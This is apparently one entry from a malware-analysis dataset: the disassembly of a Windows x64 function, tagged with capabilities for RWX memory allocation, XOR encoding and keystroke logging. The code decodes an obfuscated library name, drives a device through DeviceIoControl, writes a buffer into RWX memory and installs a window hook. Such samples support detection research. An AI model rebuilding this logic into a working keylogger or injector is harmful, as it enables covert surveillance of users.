Function at 0x7ff72ccd7850
Capabilities:
Allocate or change rwx memory
Encode data using xor
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe0
mov rax, qword [0x7ff72cd1d020]
xor rax, rsp
mov qword [rbp + 0x17], rax
mov dword [rsp + 0x40], edx
mov r14, rcx
mov ecx, 0x6e
mov qword [rbp - 0x71], r9
xor edx, edx
mov qword [rbp - 0x79], r8
call fcn.7ff72ccd7440
lea ecx, [rdx + 0x74]
mov word [rbp - 0x49], ax
lea edx, [rcx - 0x73]
call fcn.7ff72ccd7440
lea ecx, [rdx + 0x63]
mov word [rbp - 0x47], ax
lea edx, [rcx - 0x62]
call fcn.7ff72ccd7440
lea ecx, [rdx + 0x6a]
mov word [rbp - 0x45], ax
lea edx, [rcx - 0x69]
call fcn.7ff72ccd7440
lea edx, [rcx - 0x68]
mov word [rbp - 0x43], ax
call fcn.7ff72ccd7440
lea ecx, [rdx + 0x2a]
mov word [rbp - 0x41], ax
lea edx, [rcx - 0x29]
call fcn.7ff72ccd7440
lea ecx, [rdx + 0x5f]
mov word [rbp - 0x3f], ax
lea edx, [rcx - 0x5e]
call fcn.7ff72ccd7440
lea ecx, [rdx + 0x66]
mov word [rbp - 0x3d], ax
lea edx, [rcx - 0x65]
call fcn.7ff72ccd7440
lea edx, [rcx - 0x64]
mov word [rbp - 0x3b], ax
call fcn.7ff72ccd7440
xor ecx, ecx
mov word [rbp - 0x39], ax
lea edx, [rcx + 9]
call fcn.7ff72ccd7440
lea edx, [rcx + 0xa]
mov word [rbp - 0x37], ax
movzx ecx, word [0x7ff72cd16c84]
call fcn.7ff72ccd7440
movzx ecx, word [0x7ff72cd16c86]
mov edx, 0xb
mov word [rbp - 0x35], ax
call fcn.7ff72ccd7440
movzx ecx, word [0x7ff72cd16c88]
mov edx, 0xc
mov word [rbp - 0x33], ax
call fcn.7ff72ccd7440
movzx ecx, word [0x7ff72cd16c8a]
mov edx, 0xd
mov word [rbp - 0x31], ax
call fcn.7ff72ccd7440
movzx ecx, word [0x7ff72cd16c8c]
mov edx, 0xe
mov word [rbp - 0x2f], ax
call fcn.7ff72ccd7440
movzx ecx, word [0x7ff72cd16c8e]
mov edx, 0xf
mov word [rbp - 0x2d], ax
call fcn.7ff72ccd7440
movzx ecx, word [0x7ff72cd16c90]
mov edx, 0x10
mov word [rbp - 0x2b], ax
call fcn.7ff72ccd7440
movzx ecx, word [0x7ff72cd16c92]
mov edx, 0x11
mov word [rbp - 0x29], ax
call fcn.7ff72ccd7440
movzx ecx, word [0x7ff72cd16c94]
mov edx, 0x12
mov word [rbp - 0x27], ax
call fcn.7ff72ccd7440
mov word [rbp - 0x25], ax
xor eax, eax
mov word [rbp - 0x23], ax
xor edi, edi
mov r8d, 0x133
nop dword [rax]
nop word [rax + rax]
movsxd rcx, eax
lea rdx, [rbp - 0x49]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x7ff72ccd79f0
lea rcx, [rbp - 0x49]
mov word [rbp - 0x23], di
call qword [sym.imp.kernel32.dll_LoadLibraryW]
mov esi, dword [r14 + 8]
lea r8, [rbp - 0x69]
mov r14, qword [r14]
mov rbx, rax
mov qword [rsp + 0x38], rdi
lea rax, [rbp - 0x69]
mov qword [rsp + 0x30], rdi
mov r9d, 0x20
mov dword [rsp + 0x28], 0x20
mov edx, 0x22000c
mov rcx, r14
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x65], rdi
mov dword [rbp - 0x5d], edi
mov qword [rbp - 0x51], 0x40
mov qword [rbp - 0x59], 0x2000
mov dword [rbp - 0x69], esi
call qword [sym.imp.kernel32.dll_DeviceIoControl]
mov r13, qword [rbp - 0x61]
mov edx, 0x74
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rdx - 0x70]
call qword [sym.imp.kernel32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x7ff72cd1f0b0]
lea r12, [r13 + 0x5c]
mov r15, rax
mov qword [rbp + 7], rax
lea r8, [rbp - 0x21]
mov qword [rbp - 0x19], r13
movups xmmword [rax], xmm0
lea rdi, [rax + 0x5c]
mov edx, 0x220004
movaps xmm1, xmmword [0x7ff72cd1f0c0]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp - 0x11], r15
movaps xmm0, xmmword [0x7ff72cd1f0d0]
movups xmmword [rax + 0x20], xmm0
mov qword [rbp - 9], 0x74
movaps xmm1, xmmword [0x7ff72cd1f0e0]
movups xmmword [rax + 0x30], xmm1
mov dword [rbp - 0x21], esi
movaps xmm0, xmmword [0x7ff72cd1f0f0]
movups xmmword [rax + 0x40], xmm0
mov byte [rbp - 1], 1
movsd xmm1, qword [0x7ff72cd1f100]
movsd qword [rax + 0x50], xmm1
mov ecx, dword [0x7ff72cd1f108]
mov dword [rax + 0x58], ecx
mov rcx, qword [rbp - 0x79]
mov qword [rax + 6], r12
mov rax, qword [rbp - 0x71]
mov qword [rdi + 0x10], rcx
mov eax, dword [rax + 0x28]
add rax, rcx
mov rcx, r14
mov qword [rdi + 8], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
lea r9d, [rax + 0x28]
mov dword [rbp - 0x1d], eax
mov dword [rbp], eax
mov word [rbp + 4], ax
mov byte [rbp + 6], al
mov qword [rsp + 0x20], rax
call qword [sym.imp.kernel32.dll_DeviceIoControl]
mov r9d, dword [rsp + 0x40]
mov r8, rbx
mov rdx, r13
mov ecx, 7
call qword [sym.imp.user32.dll_SetWindowsHookExA]
cmp dword [rdi], 2
mov rbx, rax
je 0x7ff72ccd7bd8
xor r15d, r15d
nop
mov qword [rsp + 0x38], r15
lea r8, [rbp - 0x21]
mov qword [rsp + 0x30], r15
mov r9d, 0x28
mov dword [rsp + 0x28], r15d
mov edx, 0x220004
mov rcx, r14
mov qword [rsp + 0x20], r15
mov dword [rbp - 0x1d], r15d
mov dword [rbp], r15d
mov word [rbp + 4], r15w
mov byte [rbp + 6], r15b
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x11], rdi
mov qword [rbp - 9], 0x18
mov dword [rbp - 0x21], esi
mov byte [rbp - 1], r15b
call qword [sym.imp.kernel32.dll_DeviceIoControl]
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
cmp dword [rdi], 2
jne 0x7ff72ccd7b70
mov r15, qword [rbp + 7]
mov rcx, rbx
call qword [sym.imp.user32.dll_UnhookWindowsHookEx]
xor eax, eax
mov qword [rbp + 0xf], r13
mov qword [rsp + 0x38], rax
lea r8, [rbp + 7]
mov qword [rsp + 0x30], rax
mov edx, 0x220010
mov dword [rsp + 0x28], eax
mov rcx, r14
lea r9d, [rax + 0x10]
mov dword [rbp + 0xb], eax
mov dword [rbp + 7], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.kernel32.dll_DeviceIoControl]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.kernel32.dll_VirtualFree]
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.7ff72cce1160
mov rbx, qword [rsp + 0x130]
add rsp, 0xe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret